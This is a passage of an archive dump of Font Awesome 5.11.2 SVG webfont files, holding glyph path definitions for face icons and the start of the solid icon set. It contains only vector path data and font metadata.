c0 -35.2002 28 -64.5 63.0996 -65c35.8008 -0.5 64.9004 28.4004 64.9004 64zM340.2 14.7002c64 33.3994 107.8 100.3 107.8 177.3c0 110.3 -89.7002 200 -200 200s-200 -89.7002 -200 -200c0 -77 43.7998 -143.9 107.8 -177.3
c-2.2002 8.09961 -3.7998 16.5 -3.7998 25.2998v43.5c-14.2002 12.4004 -24.4004 27.5 -27.2998 44.5c-1.7002 10 7.7998 18.4004 17.7002 15.2998c26 -8.2998 64.3994 -13.0996 105.6 -13.0996s79.7002 4.7998 105.6 13.0996c10 3.2002 19.4004 -5.39941 17.7002 -15.2998
c-2.89941 -17 -13.0996 -32.0996 -27.2998 -44.5v-43.5c0 -8.7998 -1.59961 -17.2002 -3.7998 -25.2998z" />
    <glyph glyph-name="grin-wink" unicode="&#xf58c;" horiz-adv-x="496" 
d="M328 268c25.6904 0 55.8799 -16.9199 59.8701 -42.1201c1.72949 -11.0898 -11.3506 -18.2695 -19.8301 -10.8398l-9.5498 8.47949c-14.8105 13.1904 -46.1602 13.1904 -60.9707 0l-9.5498 -8.47949c-8.33008 -7.40039 -21.5801 -0.379883 -19.8301 10.8398
c3.98047 25.2002 34.1699 42.1201 59.8604 42.1201zM168 208c-17.6699 0 -32 14.3301 -32 32s14.3301 32 32 32s32 -14.3301 32 -32s-14.3301 -32 -32 -32zM353.55 143.36c10.04 3.13965 19.3906 -5.4502 17.71 -15.3408
c-7.92969 -47.1494 -71.3193 -80.0195 -123.26 -80.0195s-115.33 32.8701 -123.26 80.0195c-1.69043 9.9707 7.76953 18.4707 17.71 15.3408c25.9297 -8.31055 64.3994 -13.0605 105.55 -13.0605s79.6201 4.75977 105.55 13.0605zM248 440c136.97 0 248 -111.03 248 -248
s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248zM248 -8c110.28 0 200 89.7197 200 200s-89.7197 200 -200 200s-200 -89.7197 -200 -200s89.7197 -200 200 -200z" />
    <glyph glyph-name="kiss" unicode="&#xf596;" horiz-adv-x="496" 
d="M168 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32zM304 140c0 -13 -13.4004 -27.2998 -35.0996 -36.4004c21.7998 -8.69922 35.1992 -23 35.1992 -36c0 -19.1992 -28.6992 -41.5 -71.5 -44h-0.5
c-3.69922 0 -7 2.60059 -7.7998 6.2002c-0.899414 3.7998 1.10059 7.7002 4.7002 9.2002l17 7.2002c12.9004 5.5 20.7002 13.5 20.7002 21.5s-7.7998 16 -20.7998 21.5l-16.9004 7.2002c-6 2.59961 -5.7002 12.3994 0 14.7998l17 7.2002
c12.9004 5.5 20.7002 13.5 20.7002 21.5s-7.7998 16 -20.7998 21.5l-16.9004 7.19922c-3.59961 1.5 -5.59961 5.40039 -4.7002 9.2002c0.799805 3.7998 4.40039 6.60059 8.2002 6.2002c42.7002 -2.5 71.5 -24.7998 71.5 -44zM248 440c137 0 248 -111 248 -248
s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM328 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32z
" />
    <glyph glyph-name="kiss-beam" unicode="&#xf597;" horiz-adv-x="496" 
d="M168 296c23.7998 0 52.7002 -29.2998 55.7998 -71.4004c0.299805 -3.7998 -2 -7.19922 -5.59961 -8.2998c-3.10059 -1 -7.2002 0 -9.2998 3.7002l-9.5 17c-7.7002 13.7002 -19.2002 21.5996 -31.5 21.5996c-12.3008 0 -23.8008 -7.89941 -31.5 -21.5996l-9.5 -17
c-1.80078 -3.2002 -5.80078 -4.7002 -9.30078 -3.7002c-3.59961 1.10059 -5.89941 4.60059 -5.59961 8.2998c3.2998 42.1006 32.2002 71.4004 56 71.4004zM248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8
c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM304 140c0 -13 -13.4004 -27.2998 -35.0996 -36.4004c21.7998 -8.69922 35.1992 -23 35.1992 -36c0 -19.1992 -28.6992 -41.5 -71.5 -44h-0.5
c-3.69922 0 -7 2.60059 -7.7998 6.2002c-0.899414 3.7998 1.10059 7.7002 4.7002 9.2002l17 7.2002c12.9004 5.5 20.7002 13.5 20.7002 21.5s-7.7998 16 -20.7998 21.5l-16.9004 7.2002c-6 2.59961 -5.7002 12.3994 0 14.7998l17 7.2002
c12.9004 5.5 20.7002 13.5 20.7002 21.5s-7.7998 16 -20.7998 21.5l-16.9004 7.19922c-3.59961 1.5 -5.59961 5.40039 -4.7002 9.2002c0.799805 3.7998 4.40039 6.60059 8.2002 6.2002c42.7002 -2.5 71.5 -24.7998 71.5 -44zM328 296
c23.7998 0 52.7002 -29.2998 55.7998 -71.4004c0.299805 -3.7998 -2 -7.19922 -5.59961 -8.2998c-3.10059 -1 -7.2002 0 -9.2998 3.7002l-9.5 17c-7.7002 13.7002 -19.2002 21.5996 -31.5 21.5996c-12.3008 0 -23.8008 -7.89941 -31.5 -21.5996l-9.5 -17
c-1.80078 -3.2002 -5.80078 -4.7002 -9.30078 -3.7002c-3.59961 1.10059 -5.89941 4.60059 -5.59961 8.2998c3.2998 42.1006 32.2002 71.4004 56 71.4004z" />
    <glyph glyph-name="kiss-wink-heart" unicode="&#xf598;" horiz-adv-x="504" 
d="M304 139.5c0 -13 -13.4004 -27.2998 -35.0996 -36.4004c21.7998 -8.69922 35.1992 -23 35.1992 -36c0 -19.1992 -28.6992 -41.5 -71.5 -44h-0.5c-3.69922 0 -7 2.60059 -7.7998 6.2002c-0.899414 3.7998 1.10059 7.7002 4.7002 9.2002l17 7.2002
c12.9004 5.5 20.7002 13.5 20.7002 21.5s-7.7998 16 -20.7998 21.5l-16.9004 7.2002c-6 2.59961 -5.7002 12.3994 0 14.7998l17 7.2002c12.9004 5.5 20.7002 13.5 20.7002 21.5s-7.7998 16 -20.7998 21.5l-16.9004 7.19922c-3.59961 1.5 -5.59961 5.40039 -4.7002 9.2002
c0.799805 3.7998 4.40039 6.60059 8.2002 6.2002c42.7002 -2.5 71.5 -24.7998 71.5 -44zM374.5 223c-14.7998 13.2002 -46.2002 13.2002 -61 0l-9.5 -8.5c-2.5 -2.2998 -7.90039 -4.7002 -13.7002 -1.59961c-4.39941 2.39941 -6.89941 7.39941 -6.09961 12.3994
c3.89941 25.2002 34.2002 42.1006 59.7998 42.1006s55.7998 -16.9004 59.7998 -42.1006c0.799805 -5 -1.7002 -10 -6.09961 -12.3994c-4.40039 -2.40039 -9.90039 -1.7002 -13.7002 1.59961zM136 239.5c0 17.7002 14.2998 32 32 32s32 -14.2998 32 -32s-14.2998 -32 -32 -32
s-32 14.2998 -32 32zM501.1 45.5c9.2002 -23.9004 -4.39941 -49.4004 -28.5 -55.7002l-83 -21.5c-5.39941 -1.39941 -10.8994 1.7998 -12.3994 7.10059l-22.9004 82.5996c-6.59961 24 8.7998 48.5996 34 52.5996c22 3.5 43.1006 -11.5996 49 -33l2.2998 -8.39941
l8.40039 2.2002c21.5996 5.59961 45.0996 -5.10059 53.0996 -25.9004zM334 11.7002c17.7002 -64 10.9004 -39.5 13.4004 -46.7998c-30.5 -13.4004 -64 -20.9004 -99.4004 -20.9004c-137 0 -248 111 -248 248s111 248 248 248s248 -111 247.9 -248
c0 -31.7998 -6.2002 -62.0996 -17.1006 -90c-6 1.5 -12.2002 2.7998 -18.5996 2.90039c-5.60059 9.69922 -13.6006 17.5 -22.6006 23.8994c6.7002 19.9004 10.4004 41.1006 10.4004 63.2002c0 110.3 -89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200
c30.7998 0 59.9004 7.2002 86 19.7002z" />
    <glyph glyph-name="laugh" unicode="&#xf599;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM389.4 50.5996c37.7998 37.8008 58.5996 88 58.5996 141.4s-20.7998 103.6 -58.5996 141.4c-37.8008 37.7998 -88 58.5996 -141.4 58.5996s-103.6 -20.7998 -141.4 -58.5996
c-37.7998 -37.8008 -58.5996 -88 -58.5996 -141.4s20.7998 -103.6 58.5996 -141.4c37.8008 -37.7998 88 -58.5996 141.4 -58.5996s103.6 20.7998 141.4 58.5996zM328 224c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM168 224
c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM362.4 160c8.19922 0 14.5 -7 13.5 -15c-7.5 -59.2002 -58.9004 -105 -121.101 -105h-13.5996c-62.2002 0 -113.601 45.7998 -121.101 105c-1 8 5.30078 15 13.5 15h228.801z" />
    <glyph glyph-name="laugh-beam" unicode="&#xf59a;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM389.4 50.5996c37.7998 37.8008 58.5996 88 58.5996 141.4s-20.7998 103.6 -58.5996 141.4c-37.8008 37.7998 -88 58.5996 -141.4 58.5996s-103.6 -20.7998 -141.4 -58.5996
c-37.7998 -37.8008 -58.5996 -88 -58.5996 -141.4s20.7998 -103.6 58.5996 -141.4c37.8008 -37.7998 88 -58.5996 141.4 -58.5996s103.6 20.7998 141.4 58.5996zM328 296c23.7998 0 52.7002 -29.2998 55.7998 -71.4004c0.700195 -8.5 -10.7998 -11.8994 -14.8994 -4.5
l-9.5 17c-7.7002 13.7002 -19.2002 21.6006 -31.5 21.6006c-12.3008 0 -23.8008 -7.90039 -31.5 -21.6006l-9.5 -17c-4.10059 -7.39941 -15.6006 -4.09961 -14.9004 4.5c3.2998 42.1006 32.2002 71.4004 56 71.4004zM127 220.1c-4.2002 -7.39941 -15.7002 -4 -15.0996 4.5
c3.2998 42.1006 32.1992 71.4004 56 71.4004c23.7998 0 52.6992 -29.2998 56 -71.4004c0.699219 -8.5 -10.8008 -11.8994 -14.9004 -4.5l-9.5 17c-7.7002 13.7002 -19.2002 21.6006 -31.5 21.6006s-23.7998 -7.90039 -31.5 -21.6006zM362.4 160c8.19922 0 14.5 -7 13.5 -15
c-7.5 -59.2002 -58.9004 -105 -121.101 -105h-13.5996c-62.2002 0 -113.601 45.7998 -121.101 105c-1 8 5.30078 15 13.5 15h228.801z" />
    <glyph glyph-name="laugh-squint" unicode="&#xf59b;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM389.4 50.5996c37.7998 37.8008 58.5996 88 58.5996 141.4s-20.7998 103.6 -58.5996 141.4c-37.8008 37.7998 -88 58.5996 -141.4 58.5996s-103.6 -20.7998 -141.4 -58.5996
c-37.7998 -37.8008 -58.5996 -88 -58.5996 -141.4s20.7998 -103.6 58.5996 -141.4c37.8008 -37.7998 88 -58.5996 141.4 -58.5996s103.6 20.7998 141.4 58.5996zM343.6 252l33.6006 -40.2998c8.59961 -10.4004 -3.90039 -24.7998 -15.4004 -18l-80 48
c-7.7998 4.7002 -7.7998 15.8994 0 20.5996l80 48c11.6006 6.7998 24 -7.7002 15.4004 -18zM134.2 193.7c-11.6006 -6.7998 -24.1006 7.59961 -15.4004 18l33.6006 40.2998l-33.6006 40.2998c-8.59961 10.2998 3.7998 24.9004 15.4004 18l80 -48
c7.7998 -4.7002 7.7998 -15.8994 0 -20.5996zM362.4 160c8.19922 0 14.5 -7 13.5 -15c-7.5 -59.2002 -58.9004 -105 -121.101 -105h-13.5996c-62.2002 0 -113.601 45.7998 -121.101 105c-1 8 5.30078 15 13.5 15h228.801z" />
    <glyph glyph-name="laugh-wink" unicode="&#xf59c;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM389.4 50.5996c37.7998 37.8008 58.5996 88 58.5996 141.4s-20.7998 103.6 -58.5996 141.4c-37.8008 37.7998 -88 58.5996 -141.4 58.5996s-103.6 -20.7998 -141.4 -58.5996
c-37.7998 -37.8008 -58.5996 -88 -58.5996 -141.4s20.7998 -103.6 58.5996 -141.4c37.8008 -37.7998 88 -58.5996 141.4 -58.5996s103.6 20.7998 141.4 58.5996zM328 284c25.7002 0 55.9004 -16.9004 59.7002 -42.0996c1.7998 -11.1006 -11.2998 -18.2002 -19.7998 -10.8008
l-9.5 8.5c-14.8008 13.2002 -46.2002 13.2002 -61 0l-9.5 -8.5c-8.30078 -7.39941 -21.5 -0.399414 -19.8008 10.8008c4 25.1992 34.2002 42.0996 59.9004 42.0996zM168 224c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32s32 -14.2998 32 -32s-14.2998 -32 -32 -32z
M362.4 160c8.19922 0 14.5 -7 13.5 -15c-7.5 -59.2002 -58.9004 -105 -121.101 -105h-13.5996c-62.2002 0 -113.601 45.7998 -121.101 105c-1 8 5.30078 15 13.5 15h228.801z" />
    <glyph glyph-name="meh-blank" unicode="&#xf5a4;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM168 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32
s-32 14.2998 -32 32s14.2998 32 32 32zM328 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32z" />
    <glyph glyph-name="meh-rolling-eyes" unicode="&#xf5a5;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM336 296c39.7998 0 72 -32.2002 72 -72s-32.2002 -72 -72 -72
s-72 32.2002 -72 72s32.2002 72 72 72zM336 184c22.0996 0 40 17.9004 40 40c0 13.5996 -7.2998 25.0996 -17.7002 32.2998c1 -2.59961 1.7002 -5.39941 1.7002 -8.2998c0 -13.2998 -10.7002 -24 -24 -24s-24 10.7002 -24 24c0 3 0.700195 5.7002 1.7002 8.2998
c-10.4004 -7.2002 -17.7002 -18.7002 -17.7002 -32.2998c0 -22.0996 17.9004 -40 40 -40zM232 224c0 -39.7998 -32.2002 -72 -72 -72s-72 32.2002 -72 72s32.2002 72 72 72s72 -32.2002 72 -72zM120 224c0 -22.0996 17.9004 -40 40 -40s40 17.9004 40 40
c0 13.5996 -7.2998 25.0996 -17.7002 32.2998c1 -2.59961 1.7002 -5.39941 1.7002 -8.2998c0 -13.2998 -10.7002 -24 -24 -24s-24 10.7002 -24 24c0 3 0.700195 5.7002 1.7002 8.2998c-10.4004 -7.2002 -17.7002 -18.7002 -17.7002 -32.2998zM312 96
c13.2002 0 24 -10.7998 24 -24s-10.7998 -24 -24 -24h-128c-13.2002 0 -24 10.7998 -24 24s10.7998 24 24 24h128z" />
    <glyph glyph-name="sad-cry" unicode="&#xf5b3;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM392 53.5996c34.5996 35.9004 56 84.7002 56 138.4c0 110.3 -89.7002 200 -200 200s-200 -89.7002 -200 -200c0 -53.7002 21.4004 -102.4 56 -138.4v114.4
c0 13.2002 10.7998 24 24 24s24 -10.7998 24 -24v-151.4c28.5 -15.5996 61.2002 -24.5996 96 -24.5996s67.5 9 96 24.5996v151.4c0 13.2002 10.7998 24 24 24s24 -10.7998 24 -24v-114.4zM205.8 213.5c-5.7998 -3.2002 -11.2002 -0.700195 -13.7002 1.59961l-9.5 8.5
c-14.7998 13.2002 -46.1992 13.2002 -61 0l-9.5 -8.5c-3.7998 -3.39941 -9.2998 -4 -13.6992 -1.59961c-4.40039 2.40039 -6.90039 7.40039 -6.10059 12.4004c3.90039 25.1992 34.2002 42.0996 59.7998 42.0996c25.6006 0 55.8008 -16.9004 59.8008 -42.0996
c0.799805 -5 -1.7002 -10 -6.10059 -12.4004zM344 268c25.7002 0 55.9004 -16.9004 59.7998 -42.0996c0.799805 -5 -1.7002 -10 -6.09961 -12.4004c-5.7002 -3.09961 -11.2002 -0.599609 -13.7002 1.59961l-9.5 8.5c-14.7998 13.2002 -46.2002 13.2002 -61 0l-9.5 -8.5
c-3.7998 -3.39941 -9.2002 -4 -13.7002 -1.59961c-4.39941 2.40039 -6.89941 7.40039 -6.09961 12.4004c3.89941 25.1992 34.0996 42.0996 59.7998 42.0996zM248 176c30.9004 0 56 -28.7002 56 -64s-25.0996 -64 -56 -64s-56 28.7002 -56 64s25.0996 64 56 64z" />
    <glyph glyph-name="sad-tear" unicode="&#xf5b4;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM256 144c38.0996 0 74 -16.7998 98.5 -46.0996
c8.5 -10.2002 7.09961 -25.3008 -3.09961 -33.8008c-10.6006 -8.7998 -25.7002 -6.69922 -33.8008 3.10059c-15.2998 18.2998 -37.7998 28.7998 -61.5996 28.7998c-13.2002 0 -24 10.7998 -24 24s10.7998 24 24 24zM168 208c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32
s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM328 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32zM162.4 173.2c2.7998 3.7002 8.39941 3.7002 11.1992 0c11.4004 -15.2998 36.4004 -50.6006 36.4004 -68.1006
c0 -22.6992 -18.7998 -41.0996 -42 -41.0996s-42 18.4004 -42 41.0996c0 17.5 25 52.8008 36.4004 68.1006z" />
    <glyph glyph-name="smile-beam" unicode="&#xf5b8;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM332 135.4c8.5 10.1992 23.5996 11.5 33.7998 3.09961
c10.2002 -8.5 11.6006 -23.5996 3.10059 -33.7998c-30 -36 -74.1006 -56.6006 -120.9 -56.6006s-90.9004 20.6006 -120.9 56.6006c-8.39941 10.2002 -7.09961 25.2998 3.10059 33.7998c10.2002 8.40039 25.2998 7.09961 33.7998 -3.09961
c20.7998 -25.1006 51.5 -39.4004 84 -39.4004s63.2002 14.4004 84 39.4004zM136.5 237l-9.5 -17c-1.90039 -3.2002 -5.90039 -4.7998 -9.2998 -3.7002c-3.60059 1.10059 -6 4.60059 -5.7002 8.2998c3.2998 42.1006 32.2002 71.4004 56 71.4004s52.7002 -29.2998 56 -71.4004
c0.299805 -3.7998 -2.09961 -7.19922 -5.7002 -8.2998c-3.09961 -1 -7.2002 0 -9.2998 3.7002l-9.5 17c-7.7002 13.7002 -19.2002 21.5996 -31.5 21.5996s-23.7998 -7.89941 -31.5 -21.5996zM328 296c23.7998 0 52.7002 -29.2998 56 -71.4004
c0.299805 -3.7998 -2.09961 -7.19922 -5.7002 -8.2998c-3.09961 -1 -7.2002 0 -9.2998 3.7002l-9.5 17c-7.7002 13.7002 -19.2002 21.5996 -31.5 21.5996s-23.7998 -7.89941 -31.5 -21.5996l-9.5 -17c-1.90039 -3.2002 -5.7998 -4.7998 -9.2998 -3.7002
c-3.60059 1.10059 -6 4.60059 -5.7002 8.2998c3.2998 42.1006 32.2002 71.4004 56 71.4004z" />
    <glyph glyph-name="surprise" unicode="&#xf5c2;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM248 168c35.2998 0 64 -28.7002 64 -64s-28.7002 -64 -64 -64
s-64 28.7002 -64 64s28.7002 64 64 64zM200 240c0 -17.7002 -14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32s32 -14.2998 32 -32zM328 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32z" />
    <glyph glyph-name="tired" unicode="&#xf5c8;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM377.1 295.8c3.80078 -4.39941 3.90039 -11 0.100586 -15.5
l-33.6006 -40.2998l33.6006 -40.2998c3.7998 -4.5 3.7002 -11 -0.100586 -15.5c-3.5 -4.10059 -9.89941 -5.7002 -15.2998 -2.5l-80 48c-3.59961 2.2002 -5.7998 6.09961 -5.7998 10.2998s2.2002 8.09961 5.7998 10.2998l80 48c5 2.90039 11.5 1.90039 15.2998 -2.5z
M220 240c0 -4.2002 -2.2002 -8.09961 -5.7998 -10.2998l-80 -48c-5.40039 -3.2002 -11.7998 -1.60059 -15.2998 2.5c-3.80078 4.5 -3.90039 11 -0.100586 15.5l33.6006 40.2998l-33.6006 40.2998c-3.7998 4.5 -3.7002 11 0.100586 15.5
c3.7998 4.40039 10.2998 5.5 15.2998 2.5l80 -48c3.59961 -2.2002 5.7998 -6.09961 5.7998 -10.2998zM248 176c45.4004 0 100.9 -38.2998 107.8 -93.2998c1.5 -11.9004 -7 -21.6006 -15.5 -17.9004c-22.7002 9.7002 -56.2998 15.2002 -92.2998 15.2002
s-69.5996 -5.5 -92.2998 -15.2002c-8.60059 -3.7002 -17 6.10059 -15.5 17.9004c6.89941 55 62.3994 93.2998 107.8 93.2998z" />
  </font>
</defs></svg>
PK     N\Im m   webfonts/fa-solid-900.svgnu [        <?xml version="1.0" standalone="no"?>
<!--
Font Awesome Free 5.11.2 by @fontawesome - https://fontawesome.com
License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
-->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<metadata>
Created by FontForge 20190801 at Mon Sep 23 12:53:50 2019
 By Robert Madole
Copyright (c) Font Awesome
</metadata>
<defs>
<font id="FontAwesome5Free-Solid" horiz-adv-x="512" >
  <font-face 
    font-family="Font Awesome 5 Free Solid"
    font-weight="900"
    font-stretch="normal"
    units-per-em="512"
    panose-1="2 0 5 3 0 0 0 0 0 0"
    ascent="448"
    descent="-64"
    bbox="-0.983398 -64.9834 640.104 448.427"
    underline-thickness="25"
    underline-position="-50"
    unicode-range="U+0020-F8D9"
  />
    <missing-glyph />
    <glyph glyph-name="glass-martini" unicode="&#xf000;" 
d="M502.05 390.4l-214.05 -214.04v-192.36h56c22.0898 0 40 -17.9102 40 -40c0 -4.41992 -3.58008 -8 -8 -8h-240c-4.41992 0 -8 3.58008 -8 8c0 22.0898 17.9102 40 40 40h56v192.36l-214.05 214.04c-21.25 21.2598 -6.2002 57.5996 23.8496 57.5996h444.4
c30.0498 0 45.0996 -36.3398 23.8496 -57.5996z" />
    <glyph glyph-name="music" unicode="&#xf001;" 
d="M470.38 446.49c2.59277 0.816406 6.90234 1.48047 9.62012 1.48047c17.6475 0 31.9834 -14.3232 32 -31.9707v-352c0 -35.3496 -43 -64 -96 -64s-96 28.6602 -96 64s43 64 96 64c8.95898 -0.0488281 23.2949 -1.80957 32 -3.92969v184.609l-256 -75v-233.68
c0 -35.3398 -43 -64 -96 -64s-96 28.6602 -96 64s43 64 96 64c8.95801 -0.0507812 23.2939 -1.80664 32 -3.91992v261.41c0.0078125 12.958 10.0479 26.626 22.4102 30.5098z" />
    <glyph glyph-name="search" unicode="&#xf002;" 
d="M505 5.2998c9.2998 -9.39941 9.2998 -24.5996 -0.0996094 -34l-28.3008 -28.2998c-9.2998 -9.40039 -24.5 -9.40039 -33.8994 0l-99.7002 99.7002c-4.5 4.5 -7 10.5996 -7 17v16.2998c-35.2998 -27.5996 -79.7002 -44 -128 -44c-114.9 0 -208 93.0996 -208 208
s93.0996 208 208 208s208 -93.0996 208 -208c0 -48.2998 -16.4004 -92.7002 -44 -128h16.2998c6.40039 0 12.5 -2.5 17 -7zM208 112c70.7998 0 128 57.2998 128 128c0 70.7998 -57.2998 128 -128 128c-70.7998 0 -128 -57.2998 -128 -128c0 -70.7998 57.2998 -128 128 -128z
" />
    <glyph glyph-name="heart" unicode="&#xf004;" 
d="M462.3 385.4c62.7998 -53.6006 66.1006 -149.801 9.7998 -207.9l-193.5 -199.8c-12.5 -12.9004 -32.7998 -12.9004 -45.2998 0l-193.5 199.8c-56.2002 58.0996 -52.8994 154.3 9.90039 207.9c54.7998 46.6992 136.399 38.2998 186.6 -13.6006l19.7002 -20.2998
l19.7002 20.2998c50.2998 51.9004 131.8 60.2998 186.6 13.6006z" />
    <glyph glyph-name="star" unicode="&#xf005;" horiz-adv-x="576" 
d="M259.3 430.2c11.7998 23.8994 45.7002 23.5996 57.4004 0l65.2998 -132.4l146.1 -21.2998c26.2002 -3.7998 36.7002 -36.0996 17.7002 -54.5996l-105.7 -103l25 -145.5c4.5 -26.3008 -23.1992 -45.9004 -46.3994 -33.7002l-130.7 68.7002l-130.7 -68.7002
c-23.2002 -12.2998 -50.8994 7.39941 -46.3994 33.7002l25 145.5l-105.7 103c-19 18.5 -8.5 50.7998 17.7002 54.5996l146.1 21.2998z" />
    <glyph glyph-name="user" unicode="&#xf007;" horiz-adv-x="448" 
d="M224 192c-70.7002 0 -128 57.2998 -128 128s57.2998 128 128 128s128 -57.2998 128 -128s-57.2998 -128 -128 -128zM313.6 160c74.2002 0 134.4 -60.2002 134.4 -134.4v-41.5996c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v41.5996
c0 74.2002 60.2002 134.4 134.4 134.4h16.6992c22.3008 -10.2002 46.9004 -16 72.9004 -16s50.7002 5.7998 72.9004 16h16.6992z" />
    <glyph glyph-name="film" unicode="&#xf008;" 
d="M488 384c13.2998 0 24 -10.7002 24 -24v-336c0 -13.2998 -10.7002 -24 -24 -24h-8v20c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-20h-320v20c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-20h-8
c-13.2998 0 -24 10.7002 -24 24v336c0 13.2998 10.7002 24 24 24h8v-20c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12v20h320v-20c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12v20h8zM96 76v40c0 6.59961 -5.40039 12 -12 12h-40
c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12zM96 172v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12zM96 268v40
c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12zM368 60v96c0 6.59961 -5.40039 12 -12 12h-200c-6.59961 0 -12 -5.40039 -12 -12v-96c0 -6.59961 5.40039 -12 12 -12h200
c6.59961 0 12 5.40039 12 12zM368 228v96c0 6.59961 -5.40039 12 -12 12h-200c-6.59961 0 -12 -5.40039 -12 -12v-96c0 -6.59961 5.40039 -12 12 -12h200c6.59961 0 12 5.40039 12 12zM480 76v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-40
c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12zM480 172v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12zM480 268v40c0 6.59961 -5.40039 12 -12 12h-40
c-6.59961 0 -12 -5.40039 -12 -12v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12z" />
    <glyph glyph-name="th-large" unicode="&#xf009;" 
d="M296 416h192c13.2549 0 24 -10.7451 24 -24v-160c0 -13.2549 -10.7451 -24 -24 -24h-192c-13.2549 0 -24 10.7451 -24 24v160c0 13.2549 10.7451 24 24 24zM216 416c13.2549 0 24 -10.7451 24 -24v-160c0 -13.2549 -10.7451 -24 -24 -24h-192
c-13.2549 0 -24 10.7451 -24 24v160c0 13.2549 10.7451 24 24 24h192zM0 152c0 13.2549 10.7451 24 24 24h192c13.2549 0 24 -10.7451 24 -24v-160c0 -13.2549 -10.7451 -24 -24 -24h-192c-13.2549 0 -24 10.7451 -24 24v160zM296 -32c-13.2549 0 -24 10.7451 -24 24v160
c0 13.2549 10.7451 24 24 24h192c13.2549 0 24 -10.7451 24 -24v-160c0 -13.2549 -10.7451 -24 -24 -24h-192z" />
    <glyph glyph-name="th" unicode="&#xf00a;" 
